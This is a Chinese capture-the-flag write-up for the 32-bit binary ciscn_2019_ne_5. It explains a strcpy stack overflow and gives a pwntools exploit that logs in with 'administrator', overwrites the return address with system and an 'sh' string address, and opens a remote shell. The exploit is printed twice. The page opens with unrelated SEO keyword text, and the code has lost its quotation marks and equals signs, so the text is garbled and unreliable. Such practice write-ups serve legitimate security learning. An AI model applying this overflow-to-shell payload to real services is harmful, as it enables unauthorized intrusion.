做网站必须学php吗,经典微网站,app上架应用市场需要多少费用,网站 为什么要备案简单查看保护#xff1a; 32为程序没有canary没有PIE#xff0c;应该是简单的栈溢出。我们照着这个思路去找溢出点在哪#xff0c;运行下程序看看什么情况#xff1a; 程序上来是输入一个密码验证。随便输入下错误直接退出。因此我们需要到IDA中看看怎么回事#xff1a; 主…简单查看保护 32为程序没有canary没有PIE应该是简单的栈溢出。我们照着这个思路去找溢出点在哪运行下程序看看什么情况 程序上来是输入一个密码验证。随便输入下错误直接退出。因此我们需要到IDA中看看怎么回事 主函数大致流程在此。还给了system函数地址 使用ROPgadget工具查找字符串/bin/sh: ROPgadget --binary ciscn_2019_ne_5 --string ‘/bin/sh’ 啥也没有。这里就有一个小技巧了。当找不到/bin/sh的时候可以用sh代替。我们查找下程序中存不存在sh 找到了。那么我们需要构造的东西都有了接着就是找溢出点。观察程序流程 对应程序中是这样 我们观察这个函数
from pwn import*
ioremote(node4.buuoj.cn,27546)
#ioprocess(./ciscn_2019_ne_5)
system_addr0x080484d0
sh_addr0x080482ea
io.recvuntil(password:)
io.sendline(administrator)
io.recvuntil(Exit\n:)
io.sendline(str(1))
io.recvuntil(info:)
payloadba*0x4cp32(system_addr)ba*4p32(sh_addr)
io.sendline(payload)
io.recvuntil(Exit\n:)
io.sendline(str(4))
io.interactive()它会把我们的输入放入src这个数组中。并在隐藏选项4中引用 我们看到strcpy是将src的内容复制到dest。我们前面看到src允许我们输入128个字节。而dest数组离ebp只有0x48个字节。因此这里可以溢出。直接构造payload
from pwn import*
ioremote(node4.buuoj.cn,27546)
#ioprocess(./ciscn_2019_ne_5)
system_addr0x080484d0
sh_addr0x080482ea
io.recvuntil(password:)
io.sendline(administrator)
io.recvuntil(Exit\n:)
io.sendline(str(1))
io.recvuntil(info:)
payloadba*0x4cp32(system_addr)ba*4p32(sh_addr)
io.sendline(payload)
io.recvuntil(Exit\n:)
io.sendline(str(4))
io.interactive()得到flag: